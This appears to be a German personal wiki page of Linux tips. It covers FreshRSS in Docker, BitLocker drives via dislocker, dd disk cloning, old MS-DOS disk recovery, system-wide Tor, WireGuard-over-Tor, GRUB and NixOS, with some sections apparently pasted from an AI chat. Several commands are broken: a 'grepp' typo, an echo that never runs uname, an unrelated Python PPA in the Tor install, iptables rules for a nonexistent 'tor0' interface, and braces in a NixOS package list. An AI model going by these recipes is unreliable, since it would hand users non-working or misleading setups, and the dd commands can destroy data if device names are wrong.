echo "INFO ~/.ssh/rc -----------------------------------------"
echo -n "Hostname : " uname -n
echo -n "Gestartet : " uptime -s
echo "--------------------------------------------------------"
ip address | grepp "inet" | awk '{print $2}'
echo "--------------------------------------------------------"
df -h | grep "/dev/" | grep -v "tmp"
echo "--------------------------------------------------------"
Linux Tipps Readly
Emojis in Linux
FreshRSS
https://github.com/FreshRSS/FreshRSS/tree/edge/Docker
Deploy FreshRSS with Docker
FreshRSS is a self-hosted RSS feed aggregator.
- Official website:
freshrss.org
- Official Docker images:
hub.docker.com/r/freshrss/freshrss
- Repository:
github.com/FreshRSS/FreshRSS
- Documentation:
freshrss.github.io/FreshRSS
- License: GNU AGPL 3
Install Docker
See https://docs.docker.com/get-docker/
Example for Linux Debian / Ubuntu:
# Install default Docker Compose and automatically the corresponding version of Docker apt install docker-compose-v2
Quick run
Example running FreshRSS (or scroll down to the Docker Compose section instead):
docker run -d --restart unless-stopped --log-opt max-size=10m \ -p 8080:80 \ -e TZ=Europe/Paris \ -e 'CRON_MIN=1,31' \ -v freshrss_data:/var/www/FreshRSS/data \ -v freshrss_extensions:/var/www/FreshRSS/extensions \ --name freshrss \ freshrss/freshrss
- Exposing on port 8080
- With a server timezone (default is
UTC
) - With an automatic cron job to refresh feeds
- Saving FreshRSS data in a Docker volume
freshrss_data
and optional extensions infreshrss_extensions
- Using the default image, which is the latest stable release
Complete installation
Browse to your server https://freshrss.example.net/ to complete the installation via the FreshRSS Web interface, or use the command line described below.
Command line
See the CLI documentation for all the commands, which can be applied like:
docker exec --user www-data freshrss cli/list-users.php
Example of installation via command line:
docker exec --user www-data freshrss cli/do-install.php --default_user freshrss docker exec --user www-data freshrss cli/create-user.php --user freshrss --password freshrss
ℹ️ You have to replace
--user www-data
by--user apache
when using our images based on Linux Alpine.
Our Docker image variants
:latest
(default) is the latest stable release:edge
is the rolling release, same than our gitedge
branch:x.y.z
tags correspond to specific FreshRSS releases, allowing you to target a precise version for deployment:x
tags track the latest release within a major version series. For instance,:1
will update to include any1.x
releases, but will exclude versions beyond2.x
*-alpine
use Linux Alpine as base-image instead of Debian- Our Docker images are designed with multi-architecture support, accommodating a variety of Linux platforms including
linux/arm/v7
,linux/arm64
, andlinux/amd64
.- For other platforms, see the custom build section
Linux: Debian vs. Alpine
Our default image is based on Debian. We offer an alternative based on Alpine (with the *-alpine
tag suffix). In our tests (2019), Alpine was slower, while Alpine is smaller on disk (and much faster to build), and with newer packages in general (Apache, PHP).
ℹ️ For some rare systems, one variant might work but not the other, for instance due to kernel incompatibilities.
Environment variables
TZ
: (default isUTC
) A server timezoneCRON_MIN
: (default is disabled) Define minutes for the built-in cron job to automatically refresh feeds (see below for more advanced options)DATA_PATH
: (default is empty, defined by./constants.local.php
or./constants.php
) Defines the path for writeable data.FRESHRSS_ENV
: (default isproduction
) Enables additional development information if set todevelopment
(increases the level of logging and ensures that errors are displayed) (see below for more development options)COPY_LOG_TO_SYSLOG
: (default isOn
) Copy all the logs to syslogCOPY_SYSLOG_TO_STDERR
: (default isOn
) Copy syslog to Standard Error so that it is visible in docker logsLISTEN
: (default is80
) Modifies the internal Apache listening address and port, e.g.0.0.0.0:8080
(for advanced users; useful for Docker host networking)FRESHRSS_INSTALL
: automatically pass arguments to command linecli/do-install.php
(for advanced users; see example in Docker Compose section). Only executed at the very first run (so far), so if you make any change, you need to delete yourfreshrss
service,freshrss_data
volume, before running again.FRESHRSS_USER
: automatically pass arguments to command linecli/create-user.php
(for advanced users; see example in Docker Compose section). Only executed at the very first run (so far), so if you make any change, you need to delete yourfreshrss
service,freshrss_data
volume, before running again.
How to update
# Rebuild an image (see build section below) or get a new online version: docker pull freshrss/freshrss # And then docker stop freshrss docker rename freshrss freshrss_old # See the run section above for the full command docker run ... --name freshrss freshrss/freshrss # If everything is working, delete the old container docker rm freshrss_old
Bitlocker to Go
USB-Stick mit Bitlocker verschlüsselt auf einem Linux Rechner entsperren
-
Installiere Dislocker:
sudo apt-get install dislocker
-
Erstelle zwei Verzeichnisse:
sudo mkdir /media/bitlocker sudo mkdir /media/mount
-
Entsperre den USB-Stick:
sudo dislocker -r -V /dev/sdX1 -u -- /media/bitlocker
Ersetze
/dev/sdX1
durch die entsprechende Gerätebezeichnung deines USB-Sticks und-u
durch dein BitLocker-Passwort. -
Mounten des entschlüsselten Laufwerks:
sudo mount -o loop /media/bitlocker/dislocker-file /media/mount
-
Zugriff auf die Dateien: Jetzt kannst du auf die Dateien im Verzeichnis
/media/mount
zugreifen. -
Unmounten und Entfernen des USB-Sticks:
sudo umount /media/mount sudo umount /media/bitlocker
Zeitzone ändern
verfügbare Zeitzonen auflisten
timedatectl list-timezones
Zeitzone Setzen
sudo timedatectl set-timezone Europe/Copenhagen
Zeitzone überprüfen
timedatectl
Festplatte Klonen
Klonen von Festplatten oder USB-Sticks kann so einfach sein.
Herausfinden, unter welcher Bezeichnung die Festplatte/USB-Stick eingebunden sind:
lsblk
Detaillierte ansicht aller Festplatten
sudo lshw -class disk -short
Image eines Speichermediums erstellen
sudo dd if=/dev/sda of=/mnt/daten/backup.imb bs=4M status=progress
Partitionen klonen
Achtung!
Es sollte darauf geachtet werden, dass die Ziel-Partition gleich groß oder größer als die Quelle-Partition ist.
Der folgende Befehl klont (kopiert) die komplette Partition /dev/sda1 auf die Partition /dev/sdb1:
dd if=/dev/sda1 of=/dev/sdb1
Weitere Optionen:
conv=noerror | Diese Option weist dd an, beim Auftreten eines Lese oder Schreibfehlers nicht abzubrechen. |
sync |
diese OPtion sorgt dafür, dass dd beim Auftreten eines Fehlers "leere" Blöcke anstelle der fehlerhaften Blöcke in die Ausgabedatei schreibt |
sudo dd if=/dev/sda of=/dev/sdb conv=noerror,sync bs=4M status=progress
Man soll sich im Klaren sein, dass dabei alle Partitionsattribute dupliziert werden (Größe, UUID, Label). Alle Geräte mit den dazugehörigen Informationen kann man auflisten:
sudo blkid
Wenn die Ziel-Partition größer als die Quelle ist, kann man das Zielfilesystem auf die gesamte Partition ausdehnen:
sudo resize2fs /dev/sdb1
Festplatte aus Image wiederherstellen
sudo dd if=/tmp/sda.img of=/dev/sda bs=4M status=progress
Alte Festplatte mit Linux auslesen MS-DOS
1. Überprüfen, ob die Festplatte erkannt wird
Zunächst musst du sicherstellen, dass die Festplatte vom Linux-System erkannt wird. Du kannst dies mit den folgenden Befehlen überprüfen:
-
lsblk
: Listet alle Blockgeräte auf, einschließlich Festplatten und Partitionen
sudo lsblk
fdisk -l
: Zeigt detaillierte Informationen zu allen erkannten Festplatten und deren Partitionen an.
sudo fdisk -l
dmesg
: Zeigt Systemprotokolle und Meldungen an, auch wenn ein Gerät (wie die Festplatte) angeschlossen wird. Dies kann hilfreich sein, um Fehler oder fehlende Treiber zu erkennen.
dmesg | grep -i usb
Wenn du die Festplatte nicht siehst, kann es an einem Problem mit der Verbindung (Adapter, Kabel, etc.) oder an einem Fehler mit der Festplatte selbst liegen. Achte darauf, dass der USB-zu-IDE-Adapter korrekt funktioniert und dass die Festplatte ordnungsgemäß angeschlossen ist.
2. Überprüfen der Partitionen auf der Festplatte
MS-DOS verwendet häufig ein FAT16-Dateisystem oder ältere Versionen von FAT32. Wenn Linux die Festplatte erkennt, aber keine Partitionen anzeigt, könnte es an einem Problem mit der Partitionstabelle liegen. Versuche, mit den folgenden Tools die Partitionen zu identifizieren.
-
fdisk
: Auch wennlsblk
keine Partitionen anzeigt, kannst du mitfdisk
auf der Festplatte nach Partitionen suchen.
sudo fdisk /dev/sdX
-
Ersetze
/dev/sdX
durch die entsprechende Festplatte (z.B./dev/sdb
). Du kannst dann imfdisk
-Menü mitp
die Partitionstabelle anzeigen lassen und nachsehen, ob Partitionen vorhanden sind. -
partprobe
: Falls eine Partitionstabelle vorhanden ist, aber nicht erkannt wird, kannst dupartprobe
verwenden, um die Partitionstabelle erneut zu lesen
sudo partprobe
3. Mounten der Partitionen
Wenn du die Partitionen siehst, kannst du sie mit mount
einhängen (mounten). Angenommen, deine Partition ist /dev/sdb1
:
-
Erstelle ein Verzeichnis, in das du die Partition mounten möchtest:
sudo mkdir /mnt/dos
Mounten der Partition:
sudo mount /dev/sdb1 /mnt/dos
Jetzt kannst du auf die Daten auf der Partition zugreifen, indem du in das Verzeichnis /mnt/dos
navigierst:
cd /mnt/dos
ls
4. Fehlerbehebung bei Dateisystemen
Falls du beim Mounten auf ein Problem stößt (z.B. das Dateisystem wird nicht erkannt), könnte es daran liegen, dass die Festplatte mit einem älteren oder unbekannten Dateisystem formatiert wurde. MS-DOS verwendet in der Regel FAT16 oder FAT32.
-
Wenn die Partition mit FAT16 oder FAT32 formatiert wurde, sollte Linux diese ohne Probleme erkennen können. Falls das Dateisystem jedoch beschädigt ist, kannst du versuchen, es mit
fsck
zu reparieren:
sudo fsck.vfat /dev/sdb1
Dies ist der Befehl für die Reparatur von FAT-Dateisystemen. Falls du ein anderes Dateisystem (z.B. NTFS oder EXT) hast, musst du das passende fsck
-Tool verwenden.
5. Falls die Festplatte nicht erkannt wird:
-
Überprüfen mit
dmesg
: Wenn du keine Festplatte siehst, die mitlsblk
oderfdisk
erkannt wird, dann verwendedmesg
, um zu sehen, ob es beim Anschluss der Festplatte zu Fehlern kommt:
dmesg | tail -n 20
-
Dies zeigt die letzten 20 Zeilen der Systemmeldungen. Wenn Fehler bei der Erkennung oder beim Mounten angezeigt werden, könnte dies auf ein Problem mit der Festplatte oder dem USB-zu-IDE-Adapter hinweisen.
-
Festplatte könnte beschädigt sein: Falls du immer noch keine Partition oder Festplatte sehen kannst, könnte sie beschädigt sein. In diesem Fall kannst du versuchen, mit Tools wie
testdisk
zu prüfen, ob du verloren geglaubte Partitionen wiederherstellen kannst.Installiere
testdisk
:
sudo apt-get install testdisk
Starte testdisk
:
sudo testdisk
-
Folge den Anweisungen, um nach Partitionen zu suchen und sie gegebenenfalls wiederherzustellen.
Zusammenfassung der Schritte:
- Überprüfen, ob die Festplatte erkannt wird (mit
lsblk
,fdisk
,dmesg
). - Partitionen anzeigen lassen (mit
fdisk
oderpartprobe
). - Partitionen mounten (mit
mount
). - Bei Problemen mit dem Dateisystem, Reparaturversuche mit
fsck
. - Verwenden von
testdisk
, um verlorene Partitionen wiederherzustellen, falls nötig.
Falls weiterhin Probleme auftreten, könnte es an der Festplatte, dem Adapter oder einer fehlerhaften Partitionstabelle liegen.
Linux Festplatte untersuchen
Installieren
sudo apt install ncdu
Verwendung
ncdu /home/
Tor Systemweit
Um eine systemweite Verbindung zu Tor auf einem Linux-Rechner einzurichten, kannst du den Tor-Dienst installieren und konfigurieren. Hier sind die Schritte dazu:
1. Tor installieren:
- Öffne ein Terminal und füge das Tor-Repository hinzu:
sudo add-apt-repository universe
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install tor
2. Tor konfigurieren:
- Bearbeite die Tor-Konfigurationsdatei:
sudo nano /etc/tor/torrc
- Füge folgende Zeilen hinzu, um Tor als Proxy zu verwenden:
SocksPort 9050
- Speichere die Datei und schließe den Editor.
3. Tor-Dienst starten:
- Starte den Tor-Dienst:
sudo systemctl start tor
sudo systemctl enable tor
4. Systemweite Proxy-Einstellungen:
- Konfiguriere deine Anwendungen, um den Tor-Proxy zu verwenden. Du kannst dies in den Netzwerkeinstellungen deiner Anwendungen tun, indem du den Proxy auf `localhost` und den Port auf `9050` setzt.
5. Überprüfung:
- Überprüfe, ob der Tor-Dienst läuft:
sudo systemctl status tor
Diese Schritte sollten dir helfen, eine systemweite Verbindung zu Tor auf deinem Linux-Rechner einzurichten [1](https://de.linux-console.net/?p=4857) [2](https://de.wikihow.com/Unter-Linux-Tor-installieren). Wenn du weitere Fragen hast oder auf Probleme stößt, lass es mich wissen!
Um Tor systemweit auf einem Debian-Rechner zu installieren und es für spezielle Anwendungen zu verwenden, kannst du die folgenden Schritte befolgen:
### 1. Tor installieren
Zuerst musst du das Tor-Paket installieren. Öffne ein Terminal und führe die folgenden Befehle aus:
```bash
sudo apt update
sudo apt install tor
```
### 2. Tor konfigurieren
Die Konfigurationsdatei für Tor befindet sich normalerweise unter `/etc/tor/torrc`. Du kannst diese Datei mit einem Texteditor deiner Wahl bearbeiten:
```bash
sudo nano /etc/tor/torrc
```
Hier kannst du verschiedene Einstellungen vornehmen, z.B. den Port, den Tor verwenden soll, oder spezifische Anwendungsregeln.
### 3. Tor-Dienst starten
Starte den Tor-Dienst mit dem folgenden Befehl:
```bash
sudo systemctl start tor
```
Um sicherzustellen, dass Tor beim Booten automatisch gestartet wird, kannst du den folgenden Befehl verwenden:
```bash
sudo systemctl enable tor
```
### 4. Anwendungen für Tor konfigurieren
Um spezielle Anwendungen über Tor zu leiten, gibt es verschiedene Ansätze, je nach Anwendung:
#### a. Browser (z.B. Firefox)
Um Firefox über Tor zu verwenden, kannst du den Tor-Browser herunterladen und installieren. Alternativ kannst du Firefox so konfigurieren, dass es den Tor-Proxy verwendet:
1. Öffne Firefox und gehe zu den Einstellungen.
2. Wähle „Netzwerkeinstellungen“ und klicke auf „Einstellungen…“.
3. Wähle „Manuelle Proxy-Konfiguration“ und setze den SOCKS-Host auf `127.0.0.1` und den Port auf `9050`.
4. Aktiviere die Option „Proxy für DNS verwenden“ und speichere die Einstellungen.
#### b. Terminal-Anwendungen
Für Terminal-Anwendungen kannst du den Proxy-Umgebungsvariablen setzen. Zum Beispiel:
```bash
export http_proxy="socks5://127.0.0.1:9050"
export https_proxy="socks5://127.0.0.1:9050"
```
Füge diese Zeilen in deine `~/.bashrc` oder `~/.bash_profile` ein, um sie dauerhaft zu machen.
### 5. Überprüfen der Verbindung
Um zu überprüfen, ob deine Verbindung über Tor funktioniert, kannst du die folgende URL in deinem Browser aufrufen:
```
https://check.torproject.org/
```
Diese Seite zeigt dir an, ob du über das Tor-Netzwerk verbunden bist.
### 6. Sicherheitshinweise
- Verwende den Tor-Browser für das Surfen im Internet, um die beste Anonymität zu gewährleisten.
- Sei vorsichtig mit der Verwendung von Plugins oder Erweiterungen, da diese deine Anonymität gefährden können.
Mit diesen Schritten solltest du in der Lage sein, Tor systemweit auf deinem Debian-Rechner zu installieren und es für spezielle Anwendungen zu verwenden.
VPN über Tor
Um einen VPN-Server mit WireGuard einzurichten, der den ausgehenden Traffic über das Tor-Netzwerk leitet, sind mehrere Schritte erforderlich. Hier ist eine allgemeine Anleitung, wie Sie dies umsetzen können:
### Voraussetzungen
- Ein Server (z. B. ein VPS) mit einem Linux-Betriebssystem (z. B. Ubuntu).
- Grundkenntnisse in der Verwendung der Kommandozeile.
- Root-Zugriff auf den Server.
### Schritt 1: WireGuard installieren
1. **Server aktualisieren**:
```bash
sudo apt update
sudo apt upgrade
```
2. **WireGuard installieren**:
```bash
sudo apt install wireguard
```
### Schritt 2: WireGuard konfigurieren
1. **Schlüssel generieren**:
```bash
umask 077
wg genkey | tee privatekey | wg pubkey > publickey
```
2. **WireGuard-Konfigurationsdatei erstellen**:
Erstellen Sie eine Datei `/etc/wireguard/wg0.conf` und fügen Sie Folgendes hinzu:
```ini
[Interface]
PrivateKey = <Ihr privater Schlüssel>
Address = 10.0.0.1/24 # VPN-Subnetz
ListenPort = 51820
[Peer]
PublicKey = <Öffentlicher Schlüssel des Clients>
AllowedIPs = 10.0.0.2/32 # IP des Clients
```
3. **WireGuard aktivieren**:
```bash
sudo wg-quick up wg0
```
### Schritt 3: Tor installieren
1. **Tor installieren**:
```bash
sudo apt install tor
```
2. **Tor konfigurieren**:
Bearbeiten Sie die Tor-Konfigurationsdatei `/etc/tor/torrc` und fügen Sie Folgendes hinzu:
```ini
SocksPort 9050
```
3. **Tor-Dienst starten**:
```bash
sudo systemctl start tor
sudo systemctl enable tor
```
### Schritt 4: Traffic über Tor leiten
1. **IP-Forwarding aktivieren**:
Bearbeiten Sie die Datei `/etc/sysctl.conf` und stellen Sie sicher, dass die folgende Zeile nicht auskommentiert ist:
```ini
net.ipv4.ip_forward=1
```
Wenden Sie die Änderungen an:
```bash
sudo sysctl -p
```
2. **iptables-Regeln hinzufügen**:
Fügen Sie die folgenden iptables-Regeln hinzu, um den Traffic über Tor zu leiten:
```bash
sudo iptables -t nat -A POSTROUTING -o tor0 -j MASQUERADE
sudo iptables -A FORWARD -i wg0 -o tor0 -j ACCEPT
sudo iptables -A FORWARD -i tor0 -o wg0 -m state --state ESTABLISHED,RELATED -j ACCEPT
```
3. **Routing für WireGuard konfigurieren**:
Bearbeiten Sie die WireGuard-Konfigurationsdatei `/etc/wireguard/wg0.conf` und fügen Sie die folgende Zeile hinzu:
```ini
PostUp = iptables -t nat -A POSTROUTING -o tor0 -j MASQUERADE
PostDown = iptables -t nat -D POSTROUTING -o tor0 -j MASQUERADE
```
### Schritt 5: Client konfigurieren
1. **Client-Schlüssel generieren** (auf dem Client):
```bash
umask 077
wg genkey | tee privatekey | wg pubkey > publickey
```
2. **Client-Konfigurationsdatei erstellen**:
Erstellen Sie eine Datei (z. B. `wg0-client.conf`) und fügen Sie Folgendes hinzu:
```ini
[Interface]
PrivateKey = <Ihr privater Schlüssel des Clients>
Address = 10.0.0.2/24 # IP des Clients
[Peer]
PublicKey = <Öffentlicher Schlüssel des Servers>
Endpoint = <Server-IP>:51820
AllowedIPs = 0.0.0.0/0 # Leitet gesamten Traffic über den VPN
```
3. **Client aktivieren**:
```bash
sudo wg-quick up wg0-client
```
### Schritt 6: Testen
- Überprüfen Sie, ob der Client erfolgreich mit dem Server verbunden ist.
- Testen Sie, ob der Traffic über das Tor-Netzwerk geleitet wird, indem Sie eine Website wie `check.torproject.org` besuchen.
###
Grub Bootloader erweitern
Um einen weiteren Eintrag zu Grub hinzuzufügen geht man wie folgt vor:
Zunächst einen Benutzereintrag hinzufügen:
sudo nano /etc/grub.d/40_custom
Hier ans Ende folgende Zeilen hinzufügen
menuentry "Debian Linux" {
set root=(hd1,2) # Ändere dies entsprechend deiner Partition
linux /vmlinuz root=/dev/nvme0n1p2 # Passe den Pfad zur Kernel-Datei an
initrd /initrd.img # Passe den Pfad zur Initrd-Datei an
}
- (hd1,2) bezieht sich auf die Festplatte und Partition die verwendet werden soll
- linux ist die Datei /vmlinz die normalerweise im / Verzeichnis der jeweiligen Partition zu findne ist
- initrd sollte passen.
Danach den Bootloader neu initialisieren
sudo grub-mkconfig -o /boot/grub/grub.cfg
Kann sein das es bei Debian anders gemacht wird. muss ich testen.
NixOS
Befehle
Apps suchen unter https://search.nixos.org/packages
nix-shell -p bitwarden | zum installieren von Bitwarden | |
nix-env --install bitwarden | installiert Bitwarden im System permanent |
Programme Dauerhaft installieren
sudo nano /etc/nixos/configuration.nix
Füge das Programm hinzu
environment.systemPackages = with pkgs; {
htop
# andere Pakete hier hinzufügen
}
Aktualisiere die NixOs-Konfiguration
sudo nixos-rebuild switch